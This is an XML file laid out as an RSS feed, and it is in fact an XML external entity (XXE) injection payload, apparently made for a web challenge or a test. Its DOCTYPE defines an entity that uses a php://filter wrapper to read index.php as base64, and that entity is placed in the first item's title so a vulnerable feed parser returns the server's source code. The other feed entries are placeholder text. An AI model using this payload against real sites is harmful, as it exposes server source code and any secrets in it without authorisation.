<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
    <!ELEMENT test ANY >
    <!ENTITY pass SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<rss version="2.0">
<channel>
 <title>aaa</title>

 <description>This is an example of an RSS feed</description>
 <link>http://www.example.com/main.html</link>
 <copyright>2020 Example.com All rights reserved</copyright>
 <lastBuildDate>Mon, 06 Sep 2010 00:01:00 +0000 </lastBuildDate>
 <pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
 <ttl>1800</ttl>
 <item>
  <title>&pass;</title>
  <description>Here is some text containing an interesting description.</description>
  <link>http://www.example.com/blog/post/1</link>
  <guid isPermaLink="false">7bd204c6-1655-4c27-aeee-53f933c5395f</guid>
  <pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
 </item>
 <item>
  <title>test 1</title>
  <description>Here is some text containing an interesting description.</description>
  <link>http://www.example.com/blog/post/1</link>
  <guid isPermaLink="false">7bd204c6-1655-4c27-aeee-53f933c5395f</guid>
  <pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
 </item>

</channel>
</rss>